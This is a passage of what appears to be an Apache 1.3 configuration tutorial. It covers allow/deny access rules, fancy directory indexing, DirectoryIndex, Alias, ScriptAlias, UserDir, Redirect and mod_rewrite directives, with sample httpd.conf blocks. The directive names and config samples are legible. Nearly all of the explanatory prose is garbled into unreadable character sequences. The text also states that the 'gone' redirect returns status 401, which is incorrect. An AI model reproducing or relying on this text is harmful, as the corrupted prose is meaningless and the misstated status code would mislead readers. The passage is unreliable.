  �	,�	_��.��"  2 �p  � ��>allow  , ���a � �� 2�&�  2 
�� �uu>denyuu�. ���uua �uu����2 n��uu � �#.�uu&� n2�2 
,�2�& .

M�k, :)2�2 ��� �	 n�� �:
allow from all

M�k,:, J��! of� ���.�	_�" =2� �p IP �	 ��.� 123.156 {��& ,�2�&:
order allow,deny
allow from 123.156
deny from all

M�k,:����2 )2�p {���, �"8�1 ��,�2 z:
deny from badguys.com

  &�	 ��&�2 � �!�    ��/� �� BXd �p #�   ����2 �.�� �� �  ��d�	 � �� �2���/� � #u�	�q�  � 2�u1 
 2"��� �_s, �qX& z��p �#.
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�(  TU,:
��	uM v<� 
 2 �p �< )���site.first)   B��D (2"#" �E ���n#.���index.html 2 … /htdocs"2 �"�p�� �
DirectoryIndex �#&�X. ������1�& � )���/ �]! � “Index of /”, ��2 � �p #�p“/”  �u	 

�Y,�   �1�& DocumentRoot ��� .��	� >	 ���   �� ���p �� �  ��up 
�    u�� �u�� � ��u�1�& �
���	�. �, _�2�p ��2 )��! .
jXW X���+ v<�  =<����� �� �

 ��uuuu	� ��uuuuu&� �1�uuuu& �1�uuuuu� �U�V, uuuuu-� uuuuu1�	 �uuuuup 2�2 2�uuuu � � 2 
…/site.fancyindex/httpd1.confn#& n2�2 )�0.#.�:

User webuser
Group webgroup
ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3/site.fancyindex/htdocs

<Directory /usr/www/APACHE3/site.fancyindex/htdocs>
IndexOptions FancyIndexing
AddDescription "One of our wonderful catalogs" catalog_summer.html /
    catalog_autumn.html
IndexIgnore *.jpg
IndexIgnore  ..
IndexIgnore  icons HEADER README
AddIconByType (CAT,icons/bomb.gif) text/*
DefaultIcon icons/burst.gif
</Directory>

��,�uuuw�  ��uuu�2 �uuup ./go 1 2 �  ��uuu���   �uuu	 �uuu���, 2 � n2�uuup ��uuu � 
http://www.butterthlies.com/����2�� ��p �#��	 �#"�� #�X��  �]-^ 
�X	 � ���#:

Index of /
  Name                        Last Modified     Size Description 
--------------------------------------------------------------------
    <bomb>catalog_autumn.html 23 -Jul-1998 09:11 1k   One of our wonderful 
catalogs 
    <bomb>catalog_summer.html 25-Jul-1998 10:31 1k   One of our wonderful 
catalogs 

<burst>index.html.ok      23-Jul-1998 09:11 1k 
--------------------------------------------------------------------

  �p<bomb>   � <burst> �  �	� ��qUq& ������q� ���� �  #��u>�  .� u"      �u	 �up 
2"�p� u� �
Up�#�IndexOptions, J�s.� �2�& .

IndexOptions

IndexOptions option [option] ... (Apache 1.3.2 and earlier)
IndexOptions [+|-]option [[+|-]option] ... (Apache 1.3.3 and Later) 
Server config, virtual host, directory, .htaccess
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�" 2 
"�p�� #d �� � ���     w�>	 )� �]. � n2�	 n#�   ���� �V>. �	 � 2�2 .IndexOptions  ��� 
�1�&�x��Y, � �1�& �� �, 
�#�p  .1�	�����, �� "2�f, 
" �option�� #�!�X/ :

DescriptionWidth=[n | *] (Apache 1.3.10 and later) 
DescriptionWidth  , n�� � �   � M�< �p #�2 %�! )���       2�u& �Vu0, ��p��p y>$ �	 � .

 )� �#f, ���* �#&�	 )�.~�< n��#.� �	 )��� n��#.� n����!"%�! 
�#& #���1 �.
FancyIndexing 

	 M���p n�� � )��	�p �	���0�� ���� y!�, n�]. �, :�/;<� �#�2.
FoldersFirst (Apache 1.3.10 and later) 

� �#�	� �)#& M�Y� :�^ 2"�1�& �� ���, �>�#.�&.
IconHeight[=pixels] (Apache 1.3 and later)IconWidth[=pixels] (Apache 1.3 and 

later) 
  _� �2 ���"  �#.�& n2�-��� E��	 �� ��u���  :�-u^ HEIGHT � WIDTH ��u	 � � yu>��	3

IMG HTML�-��� ��	�, zUq& 2�p #���1 n2.
IconsAreLinks 

� �_  � ��qUq&� #.� �	n#.��� ��, ��d�#�2.
NameWidth=[n | *] (Apache 1.3.2 and later) 

  ,��� )��� M�<�n#.���  , �V0, � ���#�p  .*�Y, �	 � .~�u< n��#.� �	 �p2�1 M�<�-
�!" J�. 
n#.������ .

ScanHTMLTitles 
� �	"_� 
">, )���/ �� :�#��HTML��. � n#& K��V��� ", n2�2 t�2�&.

IndexOrderDefault 

IndexOrderDefault Ascending|Descending Name|Date|Size|Description 
Server config, virtual host, directory, .htaccess 
IndexOrderDefault is only available in Apache 1.3.4 and later. 

�"
 2 "�p��  p�! 2 ��  _� �	 y"  ��FancyIndexing  , �q	 �   � 2�!�!�   � )2�p y!�, y�  � �>
, �V0,�#�p.

ReadmeName

ReadmeName filename
Server config, virtual host, directory, .htaccess
Some features only available after 1.3.6; see text 

�"2 
"�p�� J�. �n#.������	 �p "���.� �	 #�� � �>2�& e�]���, �V0, � �#�p .
AddIcon

AddIcon icon_name name
Server config, virtual host, directory, .htaccess

1 Tag
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 � �	" 2 
"�p�� , �� ��qUq& �1�& �]-^ �	 )��!� 2�u�. ���%� � n��V�2 .  :�u^ 2 )2�2
>,�  �n#.���    X>. :�^ �	 zUq& �   ��   �1�&DocumentRoot       u, �u���� �u}. 2 �  2�u&  .  �u	

 M�k, )���/zUq&bomb ��	 � �n#.������html, �X>. �#�2:
...
AddIcon icons/bomb.gif  .html

AddDescription

AddDescription string file1 file2 ...
Server config, virtual host, directory, .htaccess

"%�! z�, �� )�“” �	 � 2�#Y!�n#.��� �" #.�>� �n#.���, �X>. �#�2 :
<Directory /usr/www/APACHE3/fancyindex.txt/htdocs>
FancyIndexing on
AddDescription "One of our wonderful catalogs" catalog_autumn.html    
catalog_summer.html
IndexIgnore *.jpg
IndexIgnore ..
AddIcon (CAT,icons/bomb.gif)  .html
AddIcon (DIR,icons/burst.gif) ^^DIRECTORY^^
AddIcon icons/blank.gif ^^BLANKICON^^
DefaultIcon icons/blank.gif
</Directory>

jX\ X =<����U<� �UZ  �
    2�2 )�0. BXd tV	 2"   , �.�w� �p E�   �x� �1�& )�q,� )��!� ���� �   u&�-� � �  2�up  . 2

�"  �s�,����1�  �1�& n�	2 E�           Bu�� 2 )�u,2�1 ;Xud �up D(index.html)  �1�u� � 	 E�  ��u0
%�!��2 ��E.
jX\ XWXDirectoryIndex
�" 2 
"�p�� � ���>�   ��	 j	��, �� �       �  �	 �	�p �	 )2����� � �s�>  �     u, �V0, � �1�& �-

#�p .
DirectoryIndex local-url local-url ...
Default: index.html
Server config, virtual host, directory, .htaccess

local-url  J�.n#.�����    �p ���   X>. �< �	�           2�2 ��ud n#u& �u���12 �1�u& �	 �X>.  .
#��"  
URL     � B	�f, 2 ��� 
q�, " 2 
"�p��� 	 ��"  ���� �p #��  !�^ 2 � �p  �u"��. u"  �1�u& �

    !�! �	 �#&�	 n#& ����12�    , ��.� M�X.2 �	 y��22�.  �^ 2 !�   u� �p �  � u"      2�u �, �u�.� �� z
 _� � #&�X." ��IndexOptions. ����� �#&�	 n#& M�Y� _�� ���! � �1�& �� 2�1 �>�2�p #���1 #.

M�k,:
DirectoryIndex index.html 

2"�p��, v/�	 ~�	 ��   �up 2�u&   �u���12http://myserver/docs/   )2��u��� �u	 �us�,
http://myserver/docs/index.html2�&.

DirectoryIndex index.html index.txt /cgi-bin/index.pl
    !�^ 2 �~�	 M�k, 2�  � �p �  �"    �2 �� z n#u.���index.html   � index.txt    ��u&�#. 2�u �

 �#�&�	��2��&�./cgi-bin/index.pl2�& �� �.
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��?� TU,:
��*� ���I/]

 .2 2��� Yd�� �����_� 2�#Y, � �	  �  �� 2 jd�, � � � �#u.�2 ��d 2�1  u"  u>	 #u�.�, 
��� �� 
����_� 2 " ��	 �w���������  . �� �  ��� ��2 _.Alias   � Redirect     )2�up \�u]�, )�q,�

  ������12  �  �	 �� 2 "   2 �w�.�,��n#.���    �� 2  , E�����#��p .�����    � �u��$ 2  u"n#   �u	 M�
���� .�q,� 
� �X. " �$� #�  K� �� �#&�	�     Bu�/ 2  yuU��      )2�up �us	�   �#u.������HTML  2 

�����  ��" �$ ��   �	 "  z����� 2 "  �w i! )�#	�������#.� �$�  �u�� �! .  2 n2�-�u�� 2�u,"  �uw
) ��	 Bd�#$� 2 "�p��  �Alias( �!�   )2�p ���!"  j�1�& �� 2�.�,�����  . ��u	�  M�uk,  �1�u&  �u�

    -U�V, )��	�p o��! ��� 
q�,� �#�w. � #.�&   �$ � �  ��� 
q�,    2 n#.��� �.�,�u���� n�
  �2)  #�.�,NFS(�#�w.� #.�&  . �� �Alias�"  , E���� � )�q,� 
� �p #�p   �u	 �u�.� m�� u" z

f��, :�^� �!n���#�	�#.�& .
2"�p��  2 oX!�, �"  ��wScriptAlias �� � n�� ����2��&�.���CGI  , � �#�2 .   ��u& ��X��

  �2 ��V�.� )�q,�"# : �p ���    �up ScriptAlias     u, J�us.�  �    u�$ � �#u�2� 	 �   2 �u	 ���u0"�p� u� �
Rewrite   J�s.� B	�d  ���)     � 2 ��#uY	 �up u"    u%�! Bu�� 
�     #u& #u���1 n2�2 �(.  � �u	 u"  M�u$ 


ScriptAlias   n2�� ���X>.   ��� �! .   �� ���ScriptAlias    2  mod_alias.c �Y!"  ��� n#& G  u�� �
  �	mod_cgi.c) "   �� ��.�����    �up CGI  �u � �  u, �� #u�p(.  u��2 �� u"E.mod_alias.c    �u< �u	
��t���� 2 ������ �!, �2�&.

   � �� n2�-��� J�w��" 2 
"�p��   2 ���n#.��� � �#�	�q� �	 "    2�p � J�~ �d2 #. uUp �< �	 � M��
�	" #2"�p������"�p ��,�2 �!2�#],�#.�2  �	��"2 F9� � #�"�p������Up ��!.

n#.���httpd1.conf2… /site.alias  �p1�	 )� �	�2 "�p�� � ������1 ���%��  2�up E  �u	
:�^� "��� �:

User webuser
Group webgroup

NameVirtualHost 192.168.123.2

<VirtualHost www.butterthlies.com>
ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3/site.alias/htdocs/customers
ErrorLog /usr/www/APACHE3/site.alias/logs/error_log
TransferLog /usr/www/APACHE3/site.alias/logs/access_log
</VirtualHost>

<VirtualHost sales.butterthlies.com>
DocumentRoot /usr/www/APACHE3/site.alias/htdocs/salesmen
ServerName sales.butterthlies.com
ErrorLog /usr/www/APACHE3/site.alias/logs/error_log
TransferLog /usr/www/APACHE3/site.alias/logs/access_log
</VirtualHost>

1 Redirection
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����� �	 � ./go 1�p �� ��# .�	 �}�.� g	��," � n2�p �p �	 {��& # �1�u& �u�� ��u0," � )�
#�2 )�0. � Z��� )�#�,�p.

lXW XAlias
"q�  -, �� ��!#"  
2"�p��  ���Alias    �p ��� )�q,�1��    ���  2 � 2���� n�� 2 "  u, �w� #u�2.

,�.��!� � E"     �	 � �p 
�"  #  �1�& 2�s"  #/usr/www/APACHE3/somewhere_else   n2�2 J�us.�
 �n#.���lost.txt�2 ��d )� 2 � �E .�" 
n#.���� B,�& �� J�"��� �:

I am somewhere else
httpd2.conf" z o1���%�2�2 �!:

...
Alias / somewhere_else /usr/www/APACHE3/somewhere_else
...

��uuuu��� � n2�uuuup Guuuud��, � ./go 2�p ��uuuu � � uuuu�#.uuuu	 � �uuuu���,  �uuuu	
http://www.butterthlies.com/somewhere_else/��	"#. ��1�� "���1 � ��2 E"#:

Index of /somewhere_else
. Parent Directory
. lost.txt

� ����Parent DirectoryUp ��p z��E  �u	 �}�.� \;1 �	 /usr/www/APACHE3 2��
uuuuuu�.��uuuuuu&" �uuuuuuqU	 �E �uuuuuu	DocumentRoot�uuuuuu"
��uuuuuu���"uuuuuu�Y�

/usr/www/APACHE3/site.alias/htdocs/customers, 2�� � �u&"E.  jud�� 2 �"  �us�Parent 
Directory�Y, �	 �"Parent URL"��� .

lXW XWX� [!;w*�
�p � �!����V	 ��� #� #��	">�#:

Alias / somewhere_else/ /usr/www/APACHE3/somewhere_else
�."  �>/ ���.� �"    �Y�>, J�. 2�	 , v/�   ��2 �	 �p 2�&�#�q. �p  .��	�   ��u� �uU/ E�� 

�p� #" z����� �� �2" �p #"� z u"    J�u. �u	 �1�u& �fred2  DocumentRoot2�2 ." u�Y�
�1�&��>, �	 � �/www/docs/fred 2 � 2�2 2� � n#.���� �#�	�q��2 "E:

DocumentRoot /www/docs
  =2�http://your.webserver.com/fred   , � ��, �>q& �	� � �2�&"  ���#.����     J�u. �u	 

fred  2�#. 2� �  . � �	"  ���� M�$ 
�   � ����12   �u	http://your.webserver.com/fred/i! u�� �
>,�, ��2 �p #��"��. �1�& /fred �,�	���#.�2.

��	��	" ��� 
	� �]-^� �p #&�	 � g	��,"� ��#&�	 n2�2 #.�:
<a href="/fred">Take a look at fred</a>

2�p #���1 �p .�d� ��� �"Take a look at fred"Up ��p z� �#� =2� �	"i! ��� u>, �� �
���1 n2�2�#& #:

http://your.webserver.com/fred
  !#, �� #Y	�fred   �	 �/some/where/else , �s	� �p��   � #n#.��� � �#�	�q�      :�u^ �u	 � 

�" �i!��, ���2�#:
Alias /fred/ /some/where/else

" M2�Y, � y���,�.)�:
Alias /fred/ /some/where/else/

  ���	�    �p )�   �	"    �. #�p n�&� �1�& z"  �> /   �u��.� 2 ��     u, ��ud )� ��2 u�#.  u�� ��  u" 

��� ��2�. .����



LT

 �uuuuuup )� �uuuuuuU/ �uuuuuu	2" �uuuuuuw/www/docs/fred =2� �2�#uuuuuu. 2�uuuuuu �
http://your.webserver.com/fred �. �p��p# .U/�  E�  �q.� n#u.��� � � #u�	�q� i!  u��   n2�up �

 ����/fred �	/fred/� �f	��, ��. �#�p#� .
��� �� n2�-��� �	 Alias) )�#	/���.��":(

Alias /fred /some/where/else
#	"
 u�Y,� �u�� �uphttp://your.webserver.com/fred �u	/some/where/else  �u&�w.

,�#�p .
Script

Script method cgi-script
Server config, virtual host, directory 
Script is only available in Apache 1.1 and later; arbitrary method use is only 
available with 1.3.10 and later.

�" 2 
"�p��  �U�/�   , ���%� � �    �up #�pcgi-script  �  ,�uw�� 2�    �up    �u	Z�3��� n#u.��
 #& ����12  #�p M�Y� �.   F9� URL  >, � �  �n#.��� 12 �   �u	 � n#u& ���i�,� �u���],� u��

  2�#.����PATH_INFO   � PATH_TRANSLATED   �	 �CGI  , 2 �#�p. � " ��	 
�  Yd��u, �
 ��	 �p�  , M�k, ����1�  #   :�^ �	  )�,_��n2�0�����  �2 J�s.� �  #"  �PUT  � � �n2������p � #

-,���� #.
!���� �� BXd ��?,D,?R �� ���!&����GET,PUT,POST � " �\x$, �#&�2�p n2�-��� . �� 
�����?,D,?R   J�. ��&��      2�u& n2�-�u�� ��� 
q�, . �u�,�.��Z�   �u	 =�u>$  u�_	� u" �

q��p���� \��$.
 �p � �!�    ���2 �p #Script  � M��/� ���!�t�Y! � ���", G�#�p. ��� u" z �u�2 ��u&�.

CGI.��1����   �2�& "  �1�	� 2 "    j	��, �� �w  �X�� �	 2�d�Z�  � �#�&�	 "     2�up #����1 � �p 
 .
  ��X�� �p �d2�   �p #Script   �	 Z�GET  �d� ���! � .��1��� � , � �p 2�&#.�.�0.��� �  � =�� 

)�;k,foo.html?hi  (#�&�	 ��&�2 2� � .� 2�� �" :�^ 
����12���Y, :�^ �	 �Z��2��
#& #���1.
��;�K�

# For <ISINDEX>-style searching
Script GET /cgi-bin/search
# A CGI PUT handler
Script PUT /~bob/put.cgi

ScriptAlias 

ScriptAlias url_path directory_or_filename 
Server config, virtual host

1 Method



L>

ScriptAlias  �	��2��&�.  , n�� � ���  #�2   �	 �p   �u<�"     ��u&�q�p �� �2 
u�� �.~�u��
1�� #.�& n� .  � �	 n�;/" �
�1�& �u��"  �up ��2� �u�2 ��u&�. �u��CGI   �Vu0, � #��u>� 
,�#�p .��	�M�k, :

...
ScriptAlias /cgi-bin/ /usr/www/apache3/cgi-bin/
...

ScriptAliasMatch

ScriptAliasMatch regex directory_or_filename 
Server config, virtual host

      �	 n#& n2�2 E}�, :�X/URL X�! �  , n2�2 g�   X�! :�^ 2 �2�&�  g�����   Bu1�2 :��X/
   � _�.���     , ��d n#& n2�2 ��& 2�        J�. )���/ �	 � B^�$ � #�2n#.���   u, n2�-��� � #u�p . ��u	�

M�k,���	� )2�p M�Y� /cgi-bin, � )��!� :�^ �	"/ �2�p B�:
ScriptAliasMatch ^/cgi-bin/(.*) /usr/local/apache/cgi-bin/$1

�p.* �}�, :�X/� X& �      2 �p ��.� �	 �Perl  �. �� �	 "�>��X�! �, g�  #u�p(.)   �u� �u	 �
   ��q! 2�#Y!(*) ���  . � 2"   J�. �s�n#.��� �� � �" ���  .         _u�.��� )�2 2 )� )2�2 ��ud(.*)   � )� 

i�, 2� �$11��, n��#�p. F9� n#.���� ".��1��� ��, �2�&:
/usr/local/apache/cgi-bin/$1.

S�K�
ScriptAliasMatch ^/cgi-bin/BT(.*) /usr/local/apache/cgi-bin/BT$1

 ��� M�$ �	�p� �	�� #.�" ��0�3#�2 :
...<a href="/cgi-bin/BTmyscript/customer56/ice_cream">...

�"v/�	 :�X/ 
, � �p 2�&BTmyscript2�& �� � . ��� ��2 ��u&�. i�, �u	  u�], �� u��
PATH_INFO#�p {�   �#f, �/customer56/ice_cream #���1 � "���.

Alias

Alias url_path directory_or_filename
Server config, virtual host

Alias ��	 ��&�w. 2��, URL    �	 j	��,  � B],�_"q�  2 ��.�   n#.����.�,��     �u}. 2 )�#u	
 
����Document root, �q	�2� .��	� �	 �.��. .../site.alias/conf/httpd.conf�p n�w. �#:

...
Alias / somewhere_else/ /usr/www/APACHE3/somewhere_else/
...

  �1�&/usr/www/APACHE3/somewhere_else/��$�n#.���lost.txt ���  . ��	�u�	"  �u	 

 ����12www.butterthlies.com/somewhere_else � ��1�� :�^ "2�	 #���1 �:

Index of /somewhere_else
    Parent Directory 
    lost.txt

1 Click
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AliasMatch

AliasMatch regex directory_or_filename
Server config, virtual host

   �	�0, n�	�2ScriptAliasMatch� "2 
"�p�� � u"     )��u�/ �u	 E}�u, :�uX/ z #.�.�u0. M�� 
,���2� .� 2�� �" :�^ 
 �	�0,Alias��� .

UserDir

UserDir directory
Default: UserDir public_html
Server config, virtual host

�uu"2 
"�p�uu���uu	 ��w.�uu1 �]-uu^ �1�uu& )2�uup �Vuu0, ��uu�� )��	�uup  . �uu�� �;kuu,
http://www.butterthlies.com/~peter   �#& ����12   u�Y, �	 �p�"    w.�u1 �]-u^�Peter 2

�.�"��� �p  J�.DNS )�www.butterthlies.com��� ",�#&�	.
#.�.�0.directory"q�2�f, �� "� �", ��#&�	 #.��!:
• �1�& J�."!�X/ ������k, �	�0, �� "B.
• Up ��Up�  #disabled   v/�	 ��    )#& M�Y� �  �u���& �� �!  �	�up �      �1�u& J�u. �u	 

,�����& _  �	 �2�&���"� 2 �p � �>enabled#�&�	 n#,� .
• Up ��Up�  #disabled   n���� �	���>�  ����& �� ��� �	�p �    �#u  E� �� �U^�� �	 �p 

n#&#.� .�"  � )��	�p 
��  n��  �]-^^���1��  �$ ��&�2 #����V.�    � 2 �u�� �  �u>
 :�X/enabled#�&�	 E� .

• Up ��Up�  #enabled   � n���� �	 ��>�  ����& �� ��� �	�p �        �#u  E� �� �U^�� �	 �p 
n#&#.� .�"   )��	�p 
  n�� �,�^���1� �]-^ #�.��!�#�&�	 ��&�2 .�� ��	 "  �u���& #

� 2 ��.�� �>disabled. �#&�	 n#,�.
 � �����"  ��Up �� z��� Up �  #enabled"  �disabled   2 2"�p��  �UserDir  n#0. ���a   �#�&�	 
#.�.�0.   �w�� )���/ �	 �n#.��� , ����  ��	 � 2�&�n2�-��� �1�& J�. �	 �� �! , � 2�u&. u" z

   �	 ����12http://www.foo.com/~bob/one/two.html    ��!�u^ �	 ��� 
q�,�  u-U�V, �
2�& �� �!:

UserDir public_html     -> ~bob/public_html/one/two.html
UserDir /usr/web   -> /usr/web/bob/one/two.html
UserDir /home/*/www/APACHE3 -> /home/bob/www/APACHE3/ one/two.html

2"�p��� ���"i! ���>, ������� ", �	�p ����, �	 � ��#�����:
UserDir http://www.foo.com/users -> http://www.foo.com/users/bob/one/two.html
UserDir http://www.foo.com/*/usr -> http://www.foo.com/bob/usr/one/two.html
UserDir http://www.foo.com/~*/   -> http://www.foo.com/~bob/one/two.html

� �� n2�-��� J�w��"2 
"�p���p �d2 ��# .��	� M�k, UserDir ./ :�X//~root �	 � / �� �! 
      ��� 
q�, �p 2�p #���1  �����1�.#&�	 .  ���� �� ����?,D      u, n2�-�u�� �!~�	 � ��p u�  u^�! �#� �

,� ����$ 2�&� o1"� 2 � ��#�	�q�.�s�w	 2�1 �#:
UserDir disabled root



E=

Redirect

Redirect [status] url-path url
Server config, virtual host, directory, .htaccess

2"�p��  �Redirect"  zURL#d "�� �  �	URL#  ", �&�w. #�#�p .URL#  "  �	�up �	 #
     #  =2� �	�p � n#& n2�����"   , ����12 � #�#�p .url-path" >, z�  �)2"  n#u& 2�q  u	 �% (

  ����12 �� �����   � �	 �p " >, 
�  2�& {��& �" ��1 z�redirect    n���� �	  u"  zURL)   #up
 �	 n#&%(,�	 �#.�2��.
S�K�

Redirect /service http://foo2.bar. com/service
  �uuuu���12 �	�uuuup �uuuu��http://myserver/service/foo.txt �#uuuu�p� �uuuu	� =2� 

http://foo2.bar.com/service/foo.txt��	�i! ��>, ��, n2�2 ��2�& .
2"�p��  �Redirect ���� " 	 ����0�    �	 �X>. Alias   � ScriptAlias   2 )�#u	

  !�! 
���� �}.�     2 )#& ���a yn#.��� � �#�	�q�2�2.  u���� �  
url-path
�	" >, #�    X>. �. #&�	 gU�, �� �$ ��     2 �u��  n#u.��� �u��.htaccess u"  2 �

$��.�<Directory>2� �p �	 .

 ���#.�.�0.status �2�& n2�2 i!��>, �� �"�d�,� ") #pHTTP 302( .�"  �u	 
 ��u���  );u/� 
,�   ��12 jX�, �p #�p���    ��� n#& �s	�  ��d�,  .#.�.�0.status  , � �   ��u	 )��u!�  )#u.�2���	
2"��#p �w� ���$ HTTP. �n2�-��� _2�p :

permanent
 M�$ #p301�Y, �	 ��s	�  �"���2 �,�	 � �#.�2��.

temp
   ���$ #p302   �Y, �	 � � �s	�  �" �d�, �  ,�	 � �#.�2�� .� u"  u� 
�t  ��u�

���.
seeother

 ���$ #p303("See Other") �u�Y, �	 �p� �u "_w"   �u�� juX�, )#u& 
�
,�	�#.�2��.

gone
  #p401("Gone") ��Y, �	� ���2 \x$�  ,�	 � �#.�2��.     �� n2�-�u�� J�w�� 

�" �#p 
#.�.�0.url�	 "2�& \x$ #.
,� 2 )��!"    2#/ :�^ �	 ��#p �w�      �#uf, )���/ �	 status 2�2  .    u	 #up �u��� 
300 � 399
	 #&�	�" ##.�.�0.url�	 �.��� �2�& n2�2 E� "2�& \x$ # .

RedirectMatch

RedirectMatch regex url
Server config, virtual host, directory, .htaccess



EX

RedirectMatch   �	�0, Redirect  , �p �  ��k��� �	 �#�p� � ", M�Xd E}�, :�X/ �p 
� #�p
)2 2 ;Xd �p"�p�� �ScriptAliasMatch#& n2�2 b�& (.

RedirectTemp

RedirectTemp url-path url
Server config, virtual host, directory, .htaccess

�"2 
"�p����	 �� );/� �d�,� )2�	 Redirect �	n��1�� d2 � �u�� �  M2�uY, �ufRedirect 
temp��� .

RedirectPermanent

RedirectPermanent url-path url
Server config, virtual host, directory, .htaccess

�"2 
"�p����	 �����2 );/� � )2�	 Redirect �	 n��1�� d2 � �u�� �   M2�uY, �ufRedirect 
permanent��� .

lX\ XRewrite
   BXd tV	�.����Alias2 n���� �	 � "�p������2�2 b�& )�  .���p ����" 2 �u	 �p "�p�� �u���

 , )�� �	 �2�2 J�s.� )��!mod_rewrite.c .���� J�s.� B	�d _ .� ��X��" 
�.����� ���n#   � n2�u	 �u!
��	����p � �� ��� ���	 n2�� �.����Alias2�p n2�-��� .

 ��uuuu	�   Buuuu,�p :�#�uuuu>,  �uuuu��p ��� ��uuuuu�n# �uuuu!   �uuuuu	 �uuuu�� �uuuu��	
rewriteguide/apache/pw/com.engelschall.www://http ��. �Y ��,�"# .����� ��w. 
� .  u� _

 �uu	html.mod_rewrite/mod/docs/org.apache.www://http	 ���#�uu"# .�uu"  �uu��! tuuV	 

�,#f,��� �	 " 
.�������� .

Rewrite" zrewriting pattern �	 � )� � ����� �" zURL, M��/� � #u�p .   �u	 �u��w��
   #��>� E}�, :��X/ :�^ .  �;k,mod.*\.c     J�. J��! �	�.����  2�2 g	��! ��.    E}�, :��X/   2�u1

U�-, M�s,���	 � �%�! � b�& �, �� u, � #XU<�.��! u� #  �u	… /src/regex/regex.7  uY ��, �
��.�" �p #"z  �u���� �]-u^   �u���  �u	   ��u�2nroff  -man regex.7   �u�� n#��u0, Bu	�d .

�����, 
�!.��� ���p �	 #Mastering Regular Expressions  :��u0�.� �� O'Reillly  �uY ��, 
��.�"# .

    ���� 2 n2�-��� �� BXd�     �	 �;Xd ��� ���	Perl ��! �	 "��2�9	 E}�, :��X/ �	 
"#2 �   �#u�	� 
�p {��& n2�� :��X/ �	�# .

��,�  �     2�#Y! �p ��� )� E}�, :��X/� �. "  �>)��p��p (�"  u, n¤�     �u	 #u�.��!URL 2�� �
X�!� � g� #��p �#.   �  �	 F9� "_w"��   2 :��X/ �	 )�"       �u	 � )� �uwURL 2 " �uw�      :�u^ �u	 � 

n��V�2#X! "2�p B.#X! #/��d " B,���!��q! :�^ �	 #�.��0���	 � � �	 URL#.�& M��/� .



EA

�.����, �2�& n2�-��� ���$ ��� �	 #.��!:
•   �X�� o��!���3  2n#.��� � �#�	�q��������	� ,��! 2 )2�p M��/� � ��u0V	 .

 J��! �	 #/��dURL �U�  �� URL����������s, �#& #����1 M��/� .
•  �� �X�� o��!�  ��p�U	 2 �<VirtualHost>.     �u	 �u��! #u/��dURL ��u������

��s,�#& #����1 M��/� .
•  �� �X�� o��!�  ��p�U	 2 �<Directory> .     �u	 ���! #/��d     n#u& �Vu0, �1�u&

#& #����1 M��/�.
•    2 )��	�p o��!n#.������.htaccess )�&2�1  .��d/        �Vu0, �1�u& �u	 ���! #

#& #����1 M��/� n#&.
2"�p��, �}. �	 n2�� ����! �,�2� 2 �p #��%��, n2�2 ��#.�& .

RewriteEngine

RewriteEngine on_or_off
Server config, virtual host, directory

�!�, �.��	 ">�(rewriting)   �   M�Y�" � �� , M�Y����p# . � ����    u� �#&�	 M�Y� ��  n#u/�d ���
  #& #���V. M��/� . � ��"  
2"�p�� ��	 �� � �   Up )2�p M�Y� ���.��	">� 	  �  ��comment  )2�p 

 #/��d ���1�p n2�-����#.
RewriteLog

RewriteLog filename
Server config, virtual host

�"    �	 � ��2�#n#.���filename ��	 �  , �Xh �#���� .   J�. ���  �	 /     �2�u0. {��u&    �u	 �Xu>.
" �0�����, ��� �2�& .�"2 
"�p����	 "# ���! " 2 �	 zn#.���� �#�	�q�2�& ���a .

RewriteLogLevel

RewriteLogLevel number
Default number: 0
Server config, virtual host

 � ���"�w.2�#�  , � �     , �V0, � :�/;<� �Xh )�_�#�p .0  �Y, �	 �"�w.2�#�  )2�q. 
 �9��Y, �	 �� ��� �Xh "��� ��2�#.

RewriteMap

RewriteMap mapname {txt,dbm,prg,rnd,int}: filename
Server config, virtual host

1 Administrator



EL

"  zn#.���  �1 �mapname �Y! �" , G�   �p #�p��&��� �  "_w"��   �	  �s�u> � Up  u� #
 , K2�#�p .Up�    ��X��d 2 ��� 
q�, ��#�-U�V,� 1� � #.�& n�   � 2 �p "  u%�! B�    n#u& n2�2 �
��� .�.����" z �  � =�� �	mapname �	 � J��" �, 2�#�p:

$(mapname : Lookupkey | DefaultValue)
 ��� �#f,Lookupkey� � �2�0. �#DefaultValue, n#.�2���	�2�& .
 {�.mapname�	 �p" )���/ �	 ##.�.�0.#Y	 �2�& �V0, , ���!� :�^ �	 #.�"#&�	 �:
txt

  ���Y, 
�, y��d�   , �V0, � �     2 �up #�p n#u.���ASCII     n��u�� �u	   ��u1 ��u�1�
,��"# .%�! ���1�]� �	 #, {��& �#.�& .2 y��d"���1 �w:

MatchingKey
SubstituteValue

dbm
  y��dn#.���   E�2 DBM , �V0, � �#�p.�"  Bu	�d 
 u" z n#u.����2�2  �u"NDBM

) o���new dbm( �p ���  �_	� �	ndbm" �� n2�-��� �	 � �u�2 ��u&�.dbmmanage ��
1�& �support���� �� � )�", 2�s��p�#.

prg
    , �V0, � �,�.�	 y��d��p   �p #"   �� � �u,�.�	 z �u"      �up �u��    ��u�� ou��!�   ��u � 

,��&2 . Up ��s�>  �� 2� )���/ �	 #" 2 ��& zstdin � n#& n2�2   �u  �#uf,"_w"��
"   ��Up �NULL   f��, :�^ 2 � ,� ��  )2�uX. _   2 �stdout   u, n#u.�2���	� 2�u&.    �2 �u	 

�p � �! �#0��#:
•�	 �,�.�	" n2�� )�q,� #$ �! # �! n2�	 y �,�p Gd�!����� �2�0..
•  ��I/O     2 n#& ���	 stdout  �q. n2�-��� � � #"  
	 y �, ��	 , �>�2�& .

 2C ��uuuuuu�2 �� setbuf(stdout,NULL) 2 � Perl ��uuuuuu�2 �� 
select( STDOUT); $|=1;]  �p n2�-��� �#.

rnd
 ��! 
�,�2�   , �V0, � �  �	�0, �p #�p  ���Y, 
�, �   ��� ���  � �	 "   ��	 �p :��-! 
�

 Up ���    �#f, #�� #� "_w"��  , �V0, �   �. �	 �p #�p"  �>"|"  n#& �#  E� �� #.� . �� F�
"  
���Up�  �#"q�  � �� "   2��, 
  �2��. :�^ �	�    , n#.�2���	 � n#& ��V�.� � 2�u& .� u" 


��	 )�q,����! " �	 j ���$ 2>p����XY! =�qY, ���� n#& �.
int

 U1�2 j	�!� ���� �   , �V0, � �#�p .  2�2 2�u � j	�u! �2:toupper()� tolower()  �up
Up \��$� # �_	 \��$ �	 �"#X! z��p �", B�#�p .

RewriteBase

RewriteBase BaseURL
directory, .htaccess

�p � "   ���2 
    .��	 #/��d o��! ��� 
q�,�">�    �� #&�	 J�s.� B	�d � 1�	 �   :�d��   ��� 
q�,
